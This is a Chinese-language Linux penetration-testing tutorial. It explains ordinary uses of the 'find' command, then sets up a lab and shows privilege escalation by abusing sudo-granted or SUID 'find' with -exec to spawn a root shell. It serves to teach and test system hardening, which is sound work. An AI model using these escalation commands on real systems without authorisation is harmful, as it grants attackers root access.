今天,我们将继续介绍 Linux 渗透测试系列中另一个非常有用的命令—— “Find” 。Find 命令用于搜索文件和目录列表,了解了这一点之后,我们将演示如何在提权操作中利用它。
目录
Find命令简介
利用find
查找简介
find 命令是一个命令行工具,用于遍历文件金字塔结构,根据用户的需求查找文件和目录的确切位置。此搜索命令可用于各种服务,例如按“ 大小、权限、修改/访问日期、用户、组” 等条件搜索任何文件,具体取决于用户的需求。
与其他命令一样,Find 命令也可以通过其帮助/man 命令简洁地理解,如下图所示。
find --help
使用 Find 执行的主要操作
在当前目录中按特定名称搜索文件: 此命令允许用户按特定名称搜索文件。例如,假设我们要在当前目录中搜索名为 “raj” 的文本文件,只需按照以下屏幕截图所示编写命令即可。
find . -name raj.txt
在用户主目录中按特定名称搜索文件 :如果我们想在用户主目录中查找所有文件名为“raj.txt”的文件,可以使用以下命令:
find /home -name raj.txt
(这将允许用户在主目录下找到所有“raj.txt”文件)
按文件扩展名查找文件: 可以通过指定特定的文件扩展名来实现。如果用户想要按文件扩展名获取文件,可以使用 “-type f”选项, 然后使用 Find 命令。在本例中,我们查找的是 .txt 文件。
也可以使用 “-type d” 选项代替 “-type f” 来检索目录。
find / -type f -name "*.txt"
此命令将允许用户将所有.txt 文件打印为所需的输出。
查找具有完全权限的文件: 如果有人想要查找具有完全权限(即 “777”) 的文件,只需在 Find 命令后添加 “-perm 0777” 选项,然后使用 “-type f” 选项,即可打印出所有具有“ 777” 权限的文件。
find . -type f -perm 0777 -print
要查找目录中特定用户的所有文件: 如果我们需要查找特定用户在指定目录下的所有文件,我们可以使用以下命令执行:
find /tmp -user ramen
在本例中,我们正在查找属于用户“ramen”的“tmp 目录”下的所有文件。
- • 要查找所有隐藏文件: 如果我们想查找任何目录中的所有隐藏文件,那么我们将输入如下命令:
find /tmp -type f -name ".*"
此命令将显示当前目录中所有隐藏文件的结果。
要查找目录中所有可读文件: 从特定目录中查找所有可读文件。在下面的截图中,我们正在发现 /etc 目录下所有可读形式的文件。
find /etc/ -readable -type f 2>/dev/null
通过输入上述命令,我们将获得所有位于 /etc 目录下可读文件的输出结果。
查找 SUID 文件: 当任何命令运行时,如果设置了 SUID 位,其有效 UID 将变为该文件的所有者。因此,如果我们想查找所有设置了 SUID 位的文件,可以通过输入以下命令来检索:
find / -perm -u=s -type f 2>/dev/null
查找 SGID 文件: SGID 权限与 SUID 类似,但唯一的区别是,每当任何设置了 SGID 权限的命令运行时,该进程将拥有与文件所有者相同的组所有权。因此,要运行所有具有 SGID 位的文件,请输入命令:
find / -perm -g=s -type f 2>/dev/null
要同时查找 SUID 和 SGID 文件: 如果我们想同时获取所有设置了“SUID 和 SGID”这两个位的文件,则可以构造如下命令:
find / -perm -g=s -o -perm -u=s -type f 2>/dev/null
查找所有可写文件: 要查找任何目标目录(如:/home、/tmp、/root)内的可写目录,我们将运行以下命令:
find /home -writable -type d 2>/dev/null
根据下图,我们已从 /home 目录中找到所有可写目录。
利用Find
用于权限提升的 Sudo 权限实验设置
现在我们将通过授予更高权限(即管理权限)来设置我们的 Find 命令实验室。我们知道,每个命令在获得更高权限后其性能都会发生变化。我们将针对 Find 命令进行测试,了解它在获得 sudo 权限后会产生什么影响,以及我们如何在权限提升中进一步定制它。
为了更直观地识别,我们首先创建一个拥有所有 root 权限的本地用户(test)。
要添加 sudo 权限,请打开/etc/sudoers 文件,并以用户权限规范的形式构建以下命令。
test ALL=(root) NOPASSWD: /usr/bin/find
利用 Sudo 权限
现在,我们将通过获取 sudoer 权限来开始利用 Find 服务。为此,我们必须拥有受害者机器的会话,这将使我们能够设计目标系统的本地用户访问权限,从而进一步支持我们提升 root 用户的权限。
为此,我们需要通过 SSH 连接到目标机器,因此请执行如下所示的命令以完成此操作。
ssh test@192.168.1.108
然后我们检查了“test”用户的 sudo 权限(如果已分配),发现用户“test”可以在无需密码的情况下以“root”身份执行 Find 命令。
sudo -l
Find 命令允许您执行特定操作,例如“打印、删除和执行”。因此,我们在此利用“执行”权限,通过 find 命令运行/bin/bash 来访问 root shell,具体操作如下:
sudo find /home -exec /bin/bash \;
运行上述命令后,我们已成功提权至 root shell。
用于权限提升的 SUID 实验设置
众所周知,SUID 位权限允许用户以现有文件所有者的身份执行任何文件。现在我们在 Find 上启用 SUID 权限,以便本地用户可以利用 Find 作为 root 用户的机会。
因此,输入以下命令以启用 SUID 位:
which findchmod u+s /usr/bin/findls -la /usr/bin/find
利用SUID
众所周知,我们已经获得了受害者机器的访问权限,因此我们将使用 Find 命令来识别具有 SUID 权限的二进制文件。
find / -perm -u=s -type f 2>/dev/null
因此我们认识到,许多二进制文件都启用了 SUID 位,但我们关注的是:/usr/bin/find。
如我们所知,Find 命令支持用户执行特定操作,如打印、删除和执行。因此,这里我们再次利用“exec”权限来执行另一个命令,即“whoami”。
find raj -exec "whoami" \;
同样,你可以利用 Find 命令来提升 root 权限。